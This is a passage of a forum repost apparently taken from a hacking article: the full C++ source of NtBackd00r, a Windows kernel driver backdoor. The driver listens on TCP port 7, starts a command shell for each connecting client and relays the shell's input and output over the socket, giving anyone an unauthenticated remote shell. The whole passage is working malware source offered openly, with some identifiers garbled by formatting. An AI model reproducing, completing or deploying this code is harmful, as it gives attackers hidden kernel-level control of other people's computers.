-
----[ 6.9 - NtBackd00r.cpp
// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0
#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif
extern "C" {
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForMultipleObjects(
IN ULONG HandleCount,
IN PHANDLE Handles,
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetEvent(
IN HANDLE EventHandle,
OUT PULONG PreviousState OPTIONAL
);
}
extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);
/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r:riverEntry(PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
//Dynamic import of functions exported from ntdll.dll
LoadFuncs();
// Initialize the TDIClient framework first
if (!KTDInterface::Initialize())
{
// something wrong with TDI
return STATUS_NOT_FOUND;
}
// Create TCP server, port 7
CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
// If succeeded - enable network events
if (m_pListener && m_pListener->IsCreated()) {
m_pListener->SetEvents(TRUE);
dprintf("NtBackd00rDevice: Listener started\n");
}
else {
dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
//Create dummy device for IoQueueWorkItem
m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
if (m_pDummyDevice == NULL)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma warning( disable : 4706 )
//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that
// the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
if (m_pListener)
{
// Disable network event notifications
m_pListener->SetEvents(FALSE);
// Iterate through the list of active sessions
// and forcefully disconnect all active sessions
Session* p;
TDI_STATUS Status;
while ( p = m_ActiveSessionList.RemoveHead() )
{
// Thread handle must be extracted before dele p
HANDLE hWorkerThread = p->hDataPumpThread;
// By default, this method will perform an
// abortive disconnect (RST)
Status = p->disconnect();
ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
delete p;
// It's required to wait for termination of worker threads,
// or else unloading driver will cause BSOD
if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
}
// Wait for all outstanding requests to complete
// By issuing a disconnect for all sessions, any
// pending requests should be completed by the transport
m_pListener->Wait();
// destroy the socket
delete m_pListener;
m_pListener = NULL;
dprintf("NtBackd00rDevice: Listener stopped\n");
}
delete m_pDummyDevice;
// Call base class destructor to delete all devices.
KDriver::Unload();
}
// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
)
{
UNREFERENCED_PARAMETER(IoStatusBlock);
UNREFERENCED_PARAMETER(Reserved);
//
delete (uchar *)ApcContext;
}
#define SENDS_QUEUED_THRESHOLD 3
// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
IO_STATUS_BLOCK send_iosb, rcv_iosb;
uchar *send_buf, *rcv_buf;
ULONG rd;
const bufsize=0x1000;
NTSTATUS status;
LARGE_INTEGER ResendInterval;
//loacl copy of Pipes needed for correct thread termination
//after deleting Session
s_Pipes *Pipes;
Session* thiz=(Session*)thiz1;
Pipes=thiz->m_Pipes;
ResendInterval.QuadPart = (__int64)1E6; //0.1c
//Create FIFO
//Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
//Lock socket to avoid sudden deletion of it
thiz->Lock();
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
if (status==STATUS_SUCCESS)
{
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS ))
dprintf("send error %08x\n");
//to avoid recurring send of same data
send_iosb.Status = -1;
}
while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
{
//STATUS_WAIT_1 - read operation completed
case STATUS_WAIT_1:
//
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
sending:
{
if (!send_iosb.Status)
{
resend:
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
//If there wan an error, then it tried to push too much data in socket
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING ))
{
//Wait for free space in buffer...
KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
//...and retry
goto resend;
}
}
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
//If there was a data in pipe buffer, it read instantly.
if (status==STATUS_SUCCESS)
//send it immediately
goto sending;
else {
if (status!=STATUS_PENDING)
{
delete send_buf;
//STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
if (status!=STATUS_PIPE_LISTENING)
{
//otherwise it was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
}
};
break;
//STATUS_WAIT_0 - write operation completed
case STATUS_WAIT_0:
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
//FIFO must be locked during all operation with it
//to avoid conflicts
thiz->pWBytePipe->Lock();
//At first look what crowd into FIFO,...
rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
if (rd)
{
//... then allocate appropriate amount of memory ...
rcv_buf = new(NonPagedPool) uchar[rd];
//... and read all at once
rd = thiz->pWBytePipe->Read(rcv_buf, rd);
}
thiz->pWBytePipe->Unlock();
if (rd)
{
status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LI STENING)&&(status!=STATUS_PENDING))
{
//if there was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
break;
case STATUS_ALERTED:
break;
default: goto fin;
}
fin:
//If termination not initiated from outside, unlock socket
if (!Pipes->Terminating) thiz->Unlock();
//If pipe exists, then all the rest exists too -
//destroy it all
if (Pipes->hPipe)
{
ZwClose(Pipes->hPipe);
for (int i=0;i<=1;i++)
ZwClose(Pipes->hPipeEvents[i]);
CLIENT_ID clid = {Pipes->ChildPID, 0};
HANDLE hProcess;
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE (0x0001)
status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
if (!status)
{
ZwTerminateProcess(hProcess, 0);
ZwClose(hProcess);
}
}
delete Pipes;
PsTerminateSystemThread(0);
}
#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;
VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
OBJECT_ATTRIBUTES attr;
HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
UNREFERENCED_PARAMETER(DeviceObject);
#define desc ((s_WorkItemDesc*)desc1)
//By course of business will check is there "cancel" command
if (desc->WorkItemCanceled) goto cancel2;
//Start shell
loc_ChildPID = StartShell(&loc_hPipe);
if (loc_ChildPID)
{
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
//Create 2 events to notify thread about data receipt
//from socket or pipe
for (int i=0;i<=1;i++)
ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
//Disable interrupts and write all handles to structure that is class member
DISABLE_INTS
if (!desc->WorkItemCanceled)
{
desc->thiz->m_Pipes->hPipe = loc_hPipe;
desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
}
RESTORE_INTS
if (desc->WorkItemCanceled) goto cancel;
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
} else {
cancel:
//In case of error or cancel close pipe, send error message to client,
//and disconnect it
ZwClose(loc_hPipe);
char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
desc->thiz->disconnect();
}
cancel2:
//Cleanup
IoFreeWorkItem(desc->WorkItem);
DISABLE_INTS
desc->WorkItem = NULL;
if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
RESTORE_INTS
ExFreePool(desc1);
#undef desc
}
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
uint OptionsLength, PVOID Options)
{
// Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
#endif
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver:riverInstanc e());
ASSERT(p);
//Initialization of miscellaneous stuff
pWBytePipe = NULL;
hDataPumpThread = NULL;
m_Pipes = new(NonPagedPool) s_Pipes;
RtlZeroMemory(m_Pipes, sizeof s_Pipes);
//Initialize and start WorkItem
m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
pWorkItemDesc->WorkItemCanceled=false;
pWorkItemDesc->thiz=this;
pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
if (!pWorkItemDesc->WorkItem) return FALSE;
//To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc
// Add this object to the session list maintained by the driver
p->m_ActiveSessionList.InsertTail(this);
UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
return TRUE;
}
void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{
dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}
Session::~Session()
{
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver:riverInstanc e());
ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
//Set flas, that make thread to terminate
m_Pipes->Terminating = true;
//To not wait for yesterday in OnUnload
hDataPumpThread = NULL;
//Set event "let's finish"
if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
//If WorkItem works, notify it about termination
if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
delete pWBytePipe;
}
uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
uchar **RcvBuffer, uint* RcvBufferLen)
{
// Received some data from the client peer.
//If all required pointers and handles are valid
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
// Now, if the transport has more data available than indicated,
// allocate another buffer to read the rest. When the transport
// done with it - asynchronously - our OnReceiveComplete() handler
// is called. Note that failure to submit a buffer supressed further
// recieve indications - until and if a recv() is issued.
if (Indicated < Available) {
*RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
}
return Indicated;
}
void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
// Our send request has completed. Free the buffer
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer
delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt);
}
void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
// Buffer for the partially indicated data allocated and submitted during
// OnReceive() processing is filled in by the transport.
if (status == TDI_SUCCESS) {
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
} else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING)
delete Data;
}
// end of file
Rest In Last part
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
Bookmarks